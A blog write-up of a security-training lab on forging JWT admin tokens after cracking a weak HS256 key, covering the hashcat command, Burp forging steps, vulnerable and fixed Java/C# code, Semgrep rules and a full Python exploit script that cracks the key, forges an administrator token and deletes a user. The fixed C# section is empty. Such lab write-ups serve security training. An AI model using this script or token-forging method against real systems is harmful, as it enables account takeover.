Post

Lab 03: JWT authentication bypass via weak signing key

Lab 03: JWT authentication bypass via weak signing key

1. Executive Summary

Vulnerability: Weak Cryptographic Key (Brute-Forceable HMAC).

Description: The application signs JSON Web Tokens (JWT) using the HS256 algorithm (HMAC + SHA-256). This algorithm requires a secret key. The application uses a trivial secret (“secret1”) that can be guessed using a dictionary attack. Once an attacker recovers this secret, they can sign their own arbitrary tokens, effectively granting themselves full administrative privileges.

Impact: Full Account Takeover. An attacker can forge tokens for any user, bypass all access controls, and perform administrative actions.

2. The Attack

Objective: Recover the server’s secret key offline, then use it to mint a valid admin token.

  1. Reconnaissance (Capture):
    • I logged in as wiener.
    • I captured the session cookie (JWT) from a request to /my-account.
    • I saved the token to a file named jwt.txt.
  2. Cracking (Brute-Force):
    • I used Hashcat, a password recovery tool, to attack the signature.
    • Command: hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
      • a 0: Straight dictionary attack.
      • m 16500: The specific mode for JWT (JSON Web Token).
    • Result: Hashcat cracked the signature instantly: Status: Cracked. The secret key was secret1.
  3. Forging (Signing):
    • I went to Burp Suite JWT Editor Keys tab.
    • I created a New Symmetric Key.
    • I clicked “Generate” to create the JWK structure, then replaced the k value with the Base64-encoded version of secret1 (c2VjcmV0MQ==).
    • I went back to Repeater, modified the token payload: sub: "administrator".
    • I clicked Sign at the bottom, selected my new key, and sent the request.
  4. Result: The server accepted the signature. I accessed the admin panel and deleted carlos.

3. Code Review

This section analyzes why the backend code is flawed.

Vulnerability Analysis (Explanation):

The flaw is not in the library itself, but in the configuration of the key. Developers often use simple strings for testing and forget to rotate them to high-entropy values in production.

Java (Spring Boot / JJWT)

1
2
3
4
5
6
7
8
9
10
// VULNERABLE: Hardcoded, weak secret
String secret = "secret1"; 

public String createToken(String username) {
    return Jwts.builder()
            .setSubject(username)
            // The security of this whole system rests on "secret1"
            .signWith(SignatureAlgorithm.HS256, secret.getBytes()) 
            .compact();
}

Technical Flow & Syntax Explanation:

  • secret.getBytes(): The application converts the string “secret1” into bytes to use as the HMAC key.
  • Entropy: The string “secret1” has extremely low entropy. An attacker can calculate the HMAC of the header+payload using every word in a dictionary until the output matches the token’s signature. This can be done at millions of attempts per second offline.

C# (ASP.NET Core)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void ConfigureServices(IServiceCollection services)
{
    // VULNERABLE: Weak key defined in code or config
    var key = Encoding.ASCII.GetBytes("secret1"); 

    services.AddAuthentication(...)
        .AddJwtBearer(x =>
        {
            x.TokenValidationParameters = new TokenValidationParameters
            {
                ValidateIssuerSigningKey = true,
                // The server validates against this known weak key
                IssuerSigningKey = new SymmetricSecurityKey(key) 
            };
        });
}

Technical Flow & Syntax Explanation:

  • SymmetricSecurityKey(key): This tells the middleware to verify incoming tokens using the provided byte array.
  • TokenValidationParameters: While the validation logic (ValidateIssuerSigningKey = true) is technically correct, it is rendered useless by the weakness of the key itself. It is like locking a steel door with a plastic zip-tie.

Mock PR Comment

The JWT signing key is currently set to a hardcoded, weak string (secret1). This allows attackers to brute-force the key offline and forge admin tokens.

Recommendation:

  1. Switch to a high-entropy secret (at least 32 bytes/256 bits of random data).
  2. Store the secret in an environment variable or secrets manager (e.g., Vault), never in the source code.
  3. Consider using Asymmetric Keys (RS256) so the private key never needs to be shared.

4. The Fix

Explanation of the Fix:

We must ensure the key has enough entropy (randomness) to make brute-forcing mathematically impossible. For HS256, the key should be at least 256 bits (32 bytes).

Secure Java

1
2
3
4
5
6
7
8
9
10
// SECURE: Use a secure random key generator or load a long string from ENV
// Ideally, use a dedicated Key object, not a String
Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256); // Generates a safe, random 256-bit key

public String createToken(String username) {
    return Jwts.builder()
            .setSubject(username)
            .signWith(key) // Uses the strong key
            .compact();
}

Secure C#

5. Automation

A Python script that performs a dictionary attack on the token (simulating Hashcat) and then forges the admin token.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import argparse
import requests
import jwt # pip install PyJWT
import sys

# A small embedded wordlist for the lab context
WORDLIST = ["password", "secret1", "secret", "123456", "supersecret"]

def crack_jwt(token, wordlist):
    print("[*] Attempting to crack JWT signature...")
    try:
        # The header/payload are not encrypted, just encoded
        header = jwt.get_unverified_header(token)
        algorithm = header['alg']
        
        for secret in wordlist:
            try:
                # Try to decode/verify with the candidate secret
                jwt.decode(token, secret, algorithms=[algorithm], options={"verify_exp": False})
                print(f"[+] Secret Found: {secret}")
                return secret
            except jwt.InvalidSignatureError:
                continue
            except Exception as e:
                # Sometimes padding errors occur with bad secrets
                continue
    except Exception as e:
        print(f"[-] Error parsing token: {e}")
    
    print("[-] Failed to crack token with provided wordlist.")
    return None

def exploit_weak_key(url, username, password):
    s = requests.Session()
    login_url = f"{url.rstrip('/')}/login"
    
    # 1. Login to get the weak token
    print(f"[*] Logging in as {username}...")
    s.post(login_url, data={'username': username, 'password': password})
    
    token = s.cookies.get('session')
    if not token:
        print("[-] No session cookie found.")
        return

    # 2. Crack the Secret
    secret = crack_jwt(token, WORDLIST)
    if not secret:
        return

    # 3. Forge Admin Token
    print("[*] Forging Admin Token...")
    decoded = jwt.decode(token, options={"verify_signature": False})
    decoded['sub'] = 'administrator'
    
    # Sign with the recovered secret
    forged_token = jwt.encode(decoded, secret, algorithm='HS256')
    
    # 4. Attack
    print("[*] Accessing Admin Panel...")
    s.cookies.set('session', forged_token)
    
    resp = s.get(f"{url.rstrip('/')}/admin")
    if "Admin panel" in resp.text:
        print("[!!!] SUCCESS: Admin panel accessed.")
        
        # Delete Carlos
        delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
        s.get(delete_url)
        print("[+] Carlos deleted.")
    else:
        print(f"[-] Failed. Status: {resp.status_code}")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("url", help="Lab URL")
    ap.add_argument("username", help="Your username (wiener)")
    ap.add_argument("password", help="Your password (peter)")
    args = ap.parse_args()

    exploit_weak_key(args.url, args.username, args.password)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

Java Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
  - id: java-jwt-weak-symmetric-key
    languages: [java]
    message: "Potential weak JWT key detected (hardcoded or short)."
    severity: WARNING
    patterns:
      - pattern-either:
          - pattern: .signWith(SignatureAlgorithm.HS256, "$KEY".getBytes())
          - pattern: |
               String $KEY = "..."; 
               ...
               .signWith(SignatureAlgorithm.HS256, $KEY.getBytes())
    # Note: Hard to detect length statically unless it's a literal string

Technical Flow & Syntax Explanation:

  • .signWith(..., "$KEY".getBytes()): Detects cases where the key is provided as a string literal directly in the signing method.
  • String $KEY = "...": Detects cases where the key is defined as a local variable with a string literal value before being used. This usually indicates a hardcoded secret in the codebase.

C# Rule

1
2
3
4
5
6
7
rules:
  - id: csharp-jwt-hardcoded-secret
    languages: [csharp]
    message: "Hardcoded symmetric key detected."
    severity: WARNING
    patterns:
      - pattern: new SymmetricSecurityKey(Encoding.$ENC.GetBytes("..."))

Technical Flow & Syntax Explanation:

  • GetBytes("..."): Look for string literals inside the byte conversion. If a developer types the secret directly into the code (e.g., GetBytes("supersecret")), this rule flags it as a high-risk security issue.
This post is licensed under CC BY 4.0 by the author.